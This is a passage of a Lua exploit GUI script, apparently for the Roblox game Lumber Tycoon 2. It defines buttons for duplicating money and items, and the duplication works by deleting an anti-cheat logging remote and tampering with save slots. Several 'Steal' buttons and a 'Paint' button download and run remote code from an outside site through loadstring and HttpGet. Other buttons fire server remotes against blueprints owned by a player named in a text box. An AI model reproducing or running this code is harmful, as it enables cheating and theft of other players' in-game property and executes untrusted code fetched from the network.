- RunService.RenderStepped:Wait()
- end
- end
- print("Finished Copying!")
- end)
- local ItemDupe = Instance.new("TextButton")
- ItemDupe.Name = "ItemDupe"
- ItemDupe.Parent = CopyFrame
- ItemDupe.BackgroundColor3 = Color3.new(0, 0, 0)
- ItemDupe.BorderColor3 = Color3.new(0, 0, 0)
- ItemDupe.Position = UDim2.new(0, 3, 0, 49)
- ItemDupe.Size = UDim2.new(0, 165, 0, 20)
- ItemDupe.Font = Enum.Font.Fantasy
- ItemDupe.FontSize = Enum.FontSize.Size18
- ItemDupe.Text = "Dupe Mode"
- ItemDupe.TextColor3 = Color3.new(255, 0, 0)
- ItemDupe.TextSize = 15
- ItemDupe.MouseButton1Down:connect(function()
- --Functions, look here for the source and how it works if you want to know, also give me credits if you skid xD
- --Prevent the game to kick you by letting the script error by not fincing the remote
- if game.ReplicatedStorage.Transactions:FindFirstChild("AddLog") then
- game.ReplicatedStorage.Transactions.AddLog:Destroy()
- end
- --Button function (toggle)
- local Enabled = false
- ItemDupe.MouseButton1Down:Connect(function()
- if Enabled == true then
- Enabled = false
- ItemDupe.Text = "Dupe Mode: Disabled"
- elseif Enabled == false then
- Enabled = true
- ItemDupe.Text = "Dupe Mode: Enabled"
- end
- end)
- --Changes slot to -1 when Enabled to prevent saving
- while wait(.25) do
- if Enabled == true then
- game.Players.LocalPlayer.CurrentSaveSlot.Value = -1
- end
- end
- --Credits to Johiro
- end)
- local GetWood = Instance.new("TextButton")
- GetWood.Name = "GetWood"
- GetWood.Parent = CopyFrame
- GetWood.BackgroundColor3 = Color3.new(0, 0, 0)
- GetWood.BorderColor3 = Color3.new(0, 0, 0)
- GetWood.Position = UDim2.new(0, 3, 0, 72)
- GetWood.Size = UDim2.new(0, 165, 0, 20)
- GetWood.Font = Enum.Font.Fantasy
- GetWood.FontSize = Enum.FontSize.Size18
- GetWood.Text = "Steal Wood"
- GetWood.TextColor3 = Color3.new(255, 0, 0)
- GetWood.TextSize = 15
- GetWood.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/stealwood.lua',true))()
- end)
- local GetItems = Instance.new("TextButton")
- GetItems.Name = "GetItems"
- GetItems.Parent = CopyFrame
- GetItems.BackgroundColor3 = Color3.new(0, 0, 0)
- GetItems.BorderColor3 = Color3.new(0, 0, 0)
- GetItems.Position = UDim2.new(0, 3, 0, 95)
- GetItems.Size = UDim2.new(0, 165, 0, 20)
- GetItems.Font = Enum.Font.Fantasy
- GetItems.FontSize = Enum.FontSize.Size18
- GetItems.Text = "Steal Items"
- GetItems.TextColor3 = Color3.new(255, 0, 0)
- GetItems.TextSize = 15
- GetItems.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetItems.lua',true))()
- end)
- local GetAxes = Instance.new("TextButton")
- GetAxes.Name = "GetAxes"
- GetAxes.Parent = CopyFrame
- GetAxes.BackgroundColor3 = Color3.new(0, 0, 0)
- GetAxes.BorderColor3 = Color3.new(0, 0, 0)
- GetAxes.Position = UDim2.new(0, 3, 0, 118)
- GetAxes.Size = UDim2.new(0, 165, 0, 20)
- GetAxes.Font = Enum.Font.Fantasy
- GetAxes.FontSize = Enum.FontSize.Size18
- GetAxes.Text = "Steal Axes"
- GetAxes.TextColor3 = Color3.new(255, 0, 0)
- GetAxes.TextSize = 15
- GetAxes.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetAxe.lua',true))()
- end)
- local GetGifts = Instance.new("TextButton")
- GetGifts.Name = "GetGifts"
- GetGifts.Parent = CopyFrame
- GetGifts.BackgroundColor3 = Color3.new(0, 0, 0)
- GetGifts.BorderColor3 = Color3.new(0, 0, 0)
- GetGifts.Position = UDim2.new(0, 3, 0, 141)
- GetGifts.Size = UDim2.new(0, 165, 0, 20)
- GetGifts.Font = Enum.Font.Fantasy
- GetGifts.FontSize = Enum.FontSize.Size18
- GetGifts.Text = "Steal Gifts"
- GetGifts.TextColor3 = Color3.new(255, 0, 0)
- GetGifts.TextSize = 15
- GetGifts.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetGifts1.lua',true))()
- end)
- local GetStructure = Instance.new("TextButton")
- GetStructure.Name = "GetStructure"
- GetStructure.Parent = CopyFrame
- GetStructure.BackgroundColor3 = Color3.new(0, 0, 0)
- GetStructure.BorderColor3 = Color3.new(0, 0, 0)
- GetStructure.Position = UDim2.new(0, 3, 0, 164)
- GetStructure.Size = UDim2.new(0, 165, 0, 20)
- GetStructure.Font = Enum.Font.Fantasy
- GetStructure.FontSize = Enum.FontSize.Size18
- GetStructure.Text = "Steal Structures"
- GetStructure.TextColor3 = Color3.new(255, 0, 0)
- GetStructure.TextSize = 15
- GetStructure.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetStructure.lua',true))()
- end)
- local GetFurniture = Instance.new("TextButton")
- GetFurniture.Name = "GetFurniture"
- GetFurniture.Parent = CopyFrame
- GetFurniture.BackgroundColor3 = Color3.new(0, 0, 0)
- GetFurniture.BorderColor3 = Color3.new(0, 0, 0)
- GetFurniture.Position = UDim2.new(0, 3, 0, 187)
- GetFurniture.Size = UDim2.new(0, 165, 0, 20)
- GetFurniture.Font = Enum.Font.Fantasy
- GetFurniture.FontSize = Enum.FontSize.Size18
- GetFurniture.Text = "Steal Furniture"
- GetFurniture.TextColor3 = Color3.new(255, 0, 0)
- GetFurniture.TextSize = 15
- GetFurniture.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetFurnitures.lua',true))()
- end)
- local GetVehicle = Instance.new("TextButton")
- GetVehicle.Name = "GetVehicle"
- GetVehicle.Parent = CopyFrame
- GetVehicle.BackgroundColor3 = Color3.new(0, 0, 0)
- GetVehicle.BorderColor3 = Color3.new(0, 0, 0)
- GetVehicle.Position = UDim2.new(0, 3, 0, 210)
- GetVehicle.Size = UDim2.new(0, 165, 0, 20)
- GetVehicle.Font = Enum.Font.Fantasy
- GetVehicle.FontSize = Enum.FontSize.Size18
- GetVehicle.Text = "Steal Box Vehicles"
- GetVehicle.TextColor3 = Color3.new(255, 0, 0)
- GetVehicle.TextSize = 15
- GetVehicle.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetVehicle.lua',true))()
- end)
- local GetWires = Instance.new("TextButton")
- GetWires.Name = "GetWires"
- GetWires.Parent = CopyFrame
- GetWires.BackgroundColor3 = Color3.new(0, 0, 0)
- GetWires.BorderColor3 = Color3.new(0, 0, 0)
- GetWires.Position = UDim2.new(0, 3, 0, 233)
- GetWires.Size = UDim2.new(0, 165, 0, 20)
- GetWires.Font = Enum.Font.Fantasy
- GetWires.FontSize = Enum.FontSize.Size18
- GetWires.Text = "Steal Wires"
- GetWires.TextColor3 = Color3.new(255, 0, 0)
- GetWires.TextSize = 15
- GetWires.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetWires.lua',true))()
- end)
- local BringUp = Instance.new("TextButton")
- BringUp.Name = "BringUp"
- BringUp.Parent = CopyFrame
- BringUp.BackgroundColor3 = Color3.new(0, 0, 0)
- BringUp.BorderColor3 = Color3.new(0, 0, 0)
- BringUp.Position = UDim2.new(0, 3, 0, 256)
- BringUp.Size = UDim2.new(0, 165, 0, 20)
- BringUp.Font = Enum.Font.Fantasy
- BringUp.FontSize = Enum.FontSize.Size18
- BringUp.Text = "BringUp"
- BringUp.TextColor3 = Color3.new(255, 0, 0)
- BringUp.TextSize = 15
- BringUp.MouseButton1Down:connect(function()
- loadstring(game:GetObjects("rbxassetid://01925396229")[1].Source)()
- end)
- local Slot = Instance.new("TextBox")
- local DMoney = Instance.new("TextButton")
- local Load = Instance.new("TextButton")
- local Store = Instance.new("TextButton")
- local Restore = Instance.new("TextButton")
- local SaveSlot = Instance.new("TextButton")
- local DropAxes = Instance.new("TextButton")
- local CountAxes = Instance.new("TextButton")
- Slot.Name = "Slot"
- Slot.Parent = CopyFrame
- Slot.BackgroundColor3 = Color3.new(0, 0, 0)
- Slot.BorderColor3 = Color3.new(0, 0, 0)
- Slot.Position = UDim2.new(0, 3, 0, 279)
- Slot.Size = UDim2.new(0, 165, 0, 20)
- Slot.Font = Enum.Font.Fantasy
- Slot.FontSize = Enum.FontSize.Size18
- Slot.Text = "Base Slot Number "
- Slot.TextColor3 = Color3.new(1, 1, 1)
- Slot.TextSize = 15
- --Locals
- local MoneyCooldown = false
- local CurrentSlot = game.Players.LocalPlayer:WaitForChild("CurrentSaveSlot").Value
- local ScriptLoad = false
- local CurrentlySavingOrLoading = game.Players.LocalPlayer:WaitForChild("CurrentlySavingOrLoading")
- --Functions
- local function CheckIfSlotAvailable(Slot)
- for a,b in pairs(game.ReplicatedStorage.LoadSaveRequests.GetMetaData:InvokeServer(game.Players.LocalPlayer)) do
- if a == Slot then
- for c,d in pairs(b) do
- if c == "NumSaves" and d ~= 0 then
- return true
- else
- return false
- end
- end
- end
- end
- end
- local function CheckSlotNumber() --Checks if the slot number is right
- if Slot.Text == "1" or Slot.Text == "2" or Slot.Text == "3" or Slot.Text == "4" or Slot.Text == "5" or Slot.Text == "6" then
- local SlotNumber = tonumber(Slot.Text)
- return SlotNumber
- else return false
- end
- end
- local function SendNotification(Title,Text,Duration) -- Sends Notification in the bottom right of the screen
- game.StarterGui:SetCore("SendNotification", {
- Title = Title;
- Text = Text;
- Icon = nil;
- Duration = Duration
- })
- end
- DMoney.Name = "DMoney"
- DMoney.Parent = CopyFrame
- DMoney.BackgroundColor3 = Color3.new(0, 0, 0)
- DMoney.BorderColor3 = Color3.new(0, 0, 0)
- DMoney.Position = UDim2.new(0, 3, 0, 302)
- DMoney.Size = UDim2.new(0, 90, 0, 20)
- DMoney.Font = Enum.Font.Fantasy
- DMoney.FontSize = Enum.FontSize.Size18
- DMoney.Text = "Dupe Money"
- DMoney.TextColor3 = Color3.new(255, 0, 0)
- DMoney.TextSize = 15
- DMoney.MouseButton1Down:connect(function() --Sends the money and will come back after around 2 mins
- if MoneyCooldown == true then
- SendNotification("Cooldown Notification", "Wait for your Money to come back",2)
- return
- elseif MoneyCooldown == false then
- MoneyCooldown = true
- SendNotification("Money Sent", "Wait about 2 minutes for your Money to come back", 5)
- game.ReplicatedStorage.Transactions.ClientToServer.Donate:InvokeServer(game.Players.LocalPlayer, game.Players.LocalPlayer.leaderstats.Money.Value, 1)
- SendNotification("Money Received", "You received your money that you have sent earlier", 5)
- MoneyCooldown = false
- end
- end)
- Load.Name = "Load"
- Load.Parent = CopyFrame
- Load.BackgroundColor3 = Color3.new(0, 0, 0)
- Load.BorderColor3 = Color3.new(0, 0, 0)
- Load.Position = UDim2.new(0, 97, 0, 312)
- Load.Size = UDim2.new(0, 70, 0, 20)
- Load.Font = Enum.Font.Fantasy
- Load.FontSize = Enum.FontSize.Size18
- Load.Text = "Load Slot"
- Load.TextColor3 = Color3.new(1, 1, 1)
- Load.TextSize = 15
- Load.MouseButton1Down:connect(function() --Loads the slot you want
- ScriptLoad = true
- local CheckSlot = CheckSlotNumber()
- if CheckSlot ~= false then
- if CheckIfSlotAvailable(CheckSlot) == true then
- local LoadSlot = game.ReplicatedStorage.LoadSaveRequests.RequestLoad:InvokeServer(CheckSlot)
- if LoadSlot == false then
- SendNotification("Cooldown Notification", "You aren't abled to load now", 1)
- end
- if LoadSlot == true then
- SendNotification("Reload Notification", "Loaded Your Slot", 2)
- CurrentSlot = CheckSlot
- end
- else
- SendNotification("Slot not Available", "This Slot is not Available, please choose another slot", 2)
- end
- else
- SendNotification("Incorrect Slot", "Enter a Valid number in the upper field", 1)
- end
- ScriptLoad = false
- end)
- Store.Name = "Store"
- Store.Parent = CopyFrame
- Store.BackgroundColor3 = Color3.new(0, 0, 0)
- Store.BorderColor3 = Color3.new(0, 0, 0)
- Store.Position = UDim2.new(0, 3, 0, 325)
- Store.Size = UDim2.new(0, 90, 0, 20)
- Store.Font = Enum.Font.Fantasy
- Store.FontSize = Enum.FontSize.Size18
- Store.Text = "Store Axe"
- Store.TextColor3 = Color3.new(255, 0, 0)
- Store.TextSize = 15
- Store.MouseButton1Down:connect(function() --Stores the Axes somewhere so you can restore them later
- Amount = 0
- for a,b in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do
- if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
- b.Parent = game.Players.LocalPlayer
- Amount = Amount + 1
- end
- end
- SendNotification("Store Notification", "Stored "..Amount.." Axes, you can restore them later", 2)
- end)
- Restore.Name = "Restore"
- Restore.Parent = CopyFrame
- Restore.BackgroundColor3 = Color3.new(0, 0, 0)
- Restore.BorderColor3 = Color3.new(0, 0, 0)
- Restore.Position = UDim2.new(0, 3, 0, 348)
- Restore.Size = UDim2.new(0, 165, 0, 20)
- Restore.Font = Enum.Font.Fantasy
- Restore.FontSize = Enum.FontSize.Size18
- Restore.Text = "Restore Axe"
- Restore.TextColor3 = Color3.new(1, 1, 1)
- Restore.TextSize = 15
- Restore.MouseButton1Down:connect(function() --Restores the axes that you stored with the Store function
- Amount = 0
- for a,b in pairs(game.Players.LocalPlayer:GetChildren()) do
- if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
- b.Parent = game.Players.LocalPlayer.Backpack
- Amount = Amount + 1
- end
- end
- SendNotification("Restore Notification", "Restored "..Amount.." Axes that you Stored", 2)
- end)
- SaveSlot.Name = "SaveSlot"
- SaveSlot.Parent = CopyFrame
- SaveSlot.BackgroundColor3 = Color3.new(0, 0, 0)
- SaveSlot.BorderColor3 = Color3.new(0, 0, 0)
- SaveSlot.Position = UDim2.new(0, 3, 0, 371)
- SaveSlot.Size = UDim2.new(0, 165, 0, 20)
- SaveSlot.Font = Enum.Font.Fantasy
- SaveSlot.FontSize = Enum.FontSize.Size18
- SaveSlot.Text = "SaveSlot "
- SaveSlot.TextColor3 = Color3.new(1, 1, 1)
- SaveSlot.TextSize = 15
- SaveSlot.MouseButton1Down:connect(function() --Saves the slot that you want
- local CheckSlot = CheckSlotNumber()
- if CheckSlot ~= false then
- if CurrentSlot ~= -1 then
- local SaveSlot = game.ReplicatedStorage.LoadSaveRequests.RequestSave:InvokeServer(CheckSlot)
- if SaveSlot == true then
- SendNotification("Save Notification", "Saved your Slot", 2)
- elseif SaveSlot == false then
- SendNotification("Already Saving", "Saving/Loading is currently in Progress", 1)
- end
- else
- SendNotification("Error", "Load Your Slot First before saving", 1)
- end
- else
- SendNotification("Incorrect Slot", "Enter a number in the upper field", 1)
- end
- end)
- DropAxes.Name = "DropAxes"
- DropAxes.Parent = CopyFrame
- DropAxes.BackgroundColor3 = Color3.new(0, 0, 0)
- DropAxes.BorderColor3 = Color3.new(0, 0, 0)
- DropAxes.Position = UDim2.new(0, 3, 0, 417)
- DropAxes.Size = UDim2.new(0, 165, 0, 20)
- DropAxes.Font = Enum.Font.Fantasy
- DropAxes.FontSize = Enum.FontSize.Size18
- DropAxes.Text = "Drop Axes "
- DropAxes.TextColor3 = Color3.new(255, 0, 0)
- DropAxes.TextSize = 15
- DropAxes.MouseButton1Down:connect(function() --Drops all your Axes
- Amount = 0
- for a,b in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
- game.ReplicatedStorage.Interaction.ClientInteracted:FireServer(b, "Drop tool", game.Players.LocalPlayer.Character.Head.CFrame)
- Amount = Amount + 1
- end
- end
- SendNotification("Axe Dropped", "Dropped "..Amount.." Axes from your Backpack",5)
- end)
- CountAxes.Name = "CountAxes"
- CountAxes.Parent = CopyFrame
- CountAxes.BackgroundColor3 = Color3.new(0, 0, 0)
- CountAxes.BorderColor3 = Color3.new(0, 0, 0)
- CountAxes.Position = UDim2.new(0, 3, 0, 394)
- CountAxes.Size = UDim2.new(0, 165, 0, 20)
- CountAxes.Font = Enum.Font.Fantasy
- CountAxes.FontSize = Enum.FontSize.Size18
- CountAxes.Text = "Count Axes "
- CountAxes.TextColor3 = Color3.new(255, 0, 0)
- CountAxes.TextSize = 15
- CountAxes.MouseButton1Down:connect(function() --Counts Axes in your Backpack (Equiped Axes dont Count)
- Amount = 0
- for a,b in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
- Amount = Amount + 1
- end
- end
- SendNotification("Axe Amount", "You have "..Amount.." Axes in your Backpack",2)
- end)
- local ArtFrame = Instance.new("Frame")
- local Artmenu = Instance.new("ImageButton")
- local Paint = Instance.new("TextButton")
- Artmenu.Name = "Artmenu"
- Artmenu.Parent = Picker
- Artmenu.BackgroundColor3 = Color3.new(1, 1, 1)
- Artmenu.BorderColor3 = Color3.new(0, 0, 0)
- Artmenu.Position = UDim2.new(0, 15, 0, 345)
- Artmenu.Size = UDim2.new(0, 80, 0, 80)
- Artmenu.ZIndex = 3
- Artmenu.Image = "rbxassetid://3907587419"
- Artmenu.ScaleType = Enum.ScaleType.Crop
- Artmenu.MouseButton1Click:Connect(function()
- CurrentItem.Image = "rbxassetid://3886256996"
- AIntroImage.Visible = false
- AIntroImage1.Visible = false
- end)
- ArtFrame.Name = "ArtFrame"
- ArtFrame.Parent = MenuFrame
- ArtFrame.BorderSizePixel = 1
- ArtFrame.BackgroundTransparency = 0
- ArtFrame.BorderColor3 = Color3.new(0, 0, 0)
- ArtFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- ArtFrame.Size = UDim2.new(0, 170, 0, 230)
- ArtFrame.Visible = false
- Paint.Name = "Paint"
- Paint.Parent = ArtFrame
- Paint.BackgroundColor3 = Color3.new(0, 0, 0)
- Paint.BorderColor3 = Color3.new(0, 0, 0)
- Paint.Position = UDim2.new(0, 3, 0, 3)
- Paint.Size = UDim2.new(0, 165, 0, 20)
- Paint.Font = Enum.Font.Fantasy
- Paint.Text = "Paint"
- Paint.TextColor3 = Color3.new(255, 0, 0)
- Paint.TextSize = 15
- Paint.MouseButton1Down:connect(function()
- loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/paintb.txt',true))()
- end)
- local PaintFill = Instance.new("TextButton")
- local PaintFill_1 = Instance.new("TextButton")
- local PaintFillFrame = Instance.new("Frame")
- local PaintNameBox = Instance.new("TextBox")
- local PaintFills = Instance.new("ScrollingFrame")
- local FillFir = Instance.new("TextButton")
- local FillBirch = Instance.new("TextButton")
- local FillCherry = Instance.new("TextButton")
- local FillGeneric = Instance.new("TextButton")
- local FillOak = Instance.new("TextButton")
- local FillPalm = Instance.new("TextButton")
- local FillPine = Instance.new("TextButton")
- local FillWalnut = Instance.new("TextButton")
- local FillKoa = Instance.new("TextButton")
- local FillSign = Instance.new("TextButton")
- local FillVolcano = Instance.new("TextButton")
- local FillGoldSwampy = Instance.new("TextButton")
- local FillGreenSwampy = Instance.new("TextButton")
- local FillSnowGlow = Instance.new("TextButton")
- local FillCaveCrawler = Instance.new("TextButton")
- local FillSpooky = Instance.new("TextButton")
- local FillLoneCave = Instance.new("TextButton")
- local FillSpookyNeon = Instance.new("TextButton")
- local FillFrost = Instance.new("TextButton")
- local FillGenericSpecial = Instance.new("TextButton")
- local FillGrey = Instance.new("TextButton")
- PaintFill.Name = "PaintFill"
- PaintFill.Parent = ArtFrame
- PaintFill.BackgroundColor3 = Color3.new(0, 0, 0)
- PaintFill.BorderColor3 = Color3.new(0, 0, 0)
- PaintFill.Position = UDim2.new(0, 3, 0, 26)
- PaintFill.Size = UDim2.new(0, 165, 0, 20)
- PaintFill.Font = Enum.Font.Fantasy
- PaintFill.FontSize = Enum.FontSize.Size18
- PaintFill.Text = "Paint Fill"
- PaintFill.TextColor3 = Color3.new(255, 0, 0)
- PaintFill.TextSize = 15
- PaintFill.MouseButton1Click:Connect(function()
- end)
- PaintFills.Name = "PaintFill"
- PaintFills.Parent = MenuFrame
- PaintFills.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- PaintFills.BorderColor3 = Color3.new(0, 0, 0)
- PaintFills.Size = UDim2.new(0, 150, 0, 380)
- PaintFills.Position = UDim2.new(0, 3, 0, 3)
- PaintFills.CanvasPosition = Vector2.new(0,0)
- PaintFills.CanvasSize = UDim2.new(0, 0, 0, 495)
- PaintFills.Visible = false
- PaintNameBox.Name = "PaintNameBox"
- PaintNameBox.Parent = PaintFills
- PaintNameBox.BackgroundColor3 = Color3.new(0, 0, 0)
- PaintNameBox.BorderColor3 = Color3.new(0, 0, 0)
- PaintNameBox.Position = UDim2.new(0, 3, 0, 3)
- PaintNameBox.Size = UDim2.new(0, 150, 0, 20)
- PaintNameBox.Font = Enum.Font.Fantasy
- PaintNameBox.FontSize = Enum.FontSize.Size18
- PaintNameBox.Text = "PLAYER NAME"
- PaintNameBox.TextColor3 = Color3.new(255, 0, 0)
- PaintNameBox.TextSize = 15
- FillFir.Name = "FillFir"
- FillFir.Parent = PaintFills
- FillFir.BackgroundColor3 = Color3.fromRGB(241, 231, 199)
- FillFir.BorderColor3 = Color3.new(0, 0, 0)
- FillFir.Position = UDim2.new(0, 3, 0, 26)
- FillFir.Size = UDim2.new(0, 150, 0, 20)
- FillFir.Font = Enum.Font.SourceSans
- FillFir.Text = "Fir"
- FillFir.TextColor3 = Color3.new(0, 0, 0)
- FillFir.TextSize = 14
- FillFir.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Fir"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillCherry.Name = "Cherry"
- FillCherry.Parent = PaintFills
- FillCherry.BackgroundColor3 = Color3.fromRGB(136, 62, 62)
- FillCherry.BorderColor3 = Color3.new(0, 0, 0)
- FillCherry.Position = UDim2.new(0, 3, 0, 49)
- FillCherry.Size = UDim2.new(0, 150, 0, 20)
- FillCherry.Font = Enum.Font.SourceSans
- FillCherry.Text = "Cherry"
- FillCherry.TextColor3 = Color3.new(0, 0, 0)
- FillCherry.TextSize = 14
- FillCherry.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Cherry"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillGeneric.Name = "Generic"
- FillGeneric.Parent = PaintFills
- FillGeneric.BackgroundColor3 = Color3.fromRGB(204, 142, 105)
- FillGeneric.BorderColor3 = Color3.new(0, 0, 0)
- FillGeneric.Position = UDim2.new(0, 3, 0, 72)
- FillGeneric.Size = UDim2.new(0, 150, 0, 20)
- FillGeneric.Font = Enum.Font.SourceSans
- FillGeneric.Text = "Generic"
- FillGeneric.TextColor3 = Color3.new(0, 0, 0)
- FillGeneric.TextSize = 14
- FillGeneric.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Generic"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillOak.Name = "Oak"
- FillOak.Parent = PaintFills
- FillOak.BackgroundColor3 = Color3.fromRGB(243, 207, 155)
- FillOak.BorderColor3 = Color3.new(0, 0, 0)
- FillOak.Position = UDim2.new(0, 3, 0, 95)
- FillOak.Size = UDim2.new(0, 150, 0, 20)
- FillOak.Font = Enum.Font.SourceSans
- FillOak.Text = "Oak"
- FillOak.TextColor3 = Color3.new(0, 0, 0)
- FillOak.TextSize = 14
- FillOak.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Oak"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillPalm.Name = "Palm"
- FillPalm.Parent = PaintFills
- FillPalm.BackgroundColor3 = Color3.fromRGB(241, 231, 199)
- FillPalm.BorderColor3 = Color3.new(0, 0, 0)
- FillPalm.Position = UDim2.new(0, 3, 0, 118)
- FillPalm.Size = UDim2.new(0, 150, 0, 20)
- FillPalm.Font = Enum.Font.SourceSans
- FillPalm.Text = "Palm"
- FillPalm.TextColor3 = Color3.new(0, 0, 0)
- FillPalm.TextSize = 14
- FillPalm.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Palm"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillPine.Name = "Pine"
- FillPine.Parent = PaintFills
- FillPine.BackgroundColor3 = Color3.fromRGB(211, 190, 150)
- FillPine.BorderColor3 = Color3.new(0, 0, 0)
- FillPine.Position = UDim2.new(0, 3, 0, 141)
- FillPine.Size = UDim2.new(0, 150, 0, 20)
- FillPine.Font = Enum.Font.SourceSans
- FillPine.Text = "Pine"
- FillPine.TextColor3 = Color3.new(0, 0, 0)
- FillPine.TextSize = 14
- FillPine.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Pine"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillWalnut.Name = "Walnut"
- FillWalnut.Parent = PaintFills
- FillWalnut.BackgroundColor3 = Color3.fromRGB(106, 57, 9)
- FillWalnut.BorderColor3 = Color3.new(0, 0, 0)
- FillWalnut.Position = UDim2.new(0, 3, 0, 164)
- FillWalnut.Size = UDim2.new(0, 150, 0, 20)
- FillWalnut.Font = Enum.Font.SourceSans
- FillWalnut.Text = "Walnut"
- FillWalnut.TextColor3 = Color3.new(0, 0, 0)
- FillWalnut.TextSize = 14
- FillWalnut.MouseButton1Down:connect(function()
- local PlayerName = PaintNameBox.Text
- -- Put Whole Name
- local WoodName = "Walnut"
- local ItsCFrame
- local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
- if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
- if v:FindFirstChild("MainCFrame") then
- ItsCFrame = v.MainCFrame.Value
- else
- ItsCFrame = v.PrimaryPart.CFrame
- end
- if v ~= nil then
- Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
- end
- end
- end
- end
- end)
- FillKoa.Name = "Koa"
- FillKoa.Parent = PaintFills
- FillKoa.BackgroundColor3 = Color3.fromRGB(144, 76, 42)
- FillKoa.BorderColor3 = Color3.new(0, 0, 0)
- FillKoa.Position = UDim2.new(0, 3, 0, 187)
- FillKoa.Size = UDim2.new(0, 150, 0, 20)
- FillKoa.Font = Enum.Font.SourceSans
- FillKoa.Text = "Koa"
- FillKoa.TextColor3 = Color3.new(0, 0, 0)
- FillKoa.TextSize = 14
- FillKoa.MouseButton1Down:connect(function()
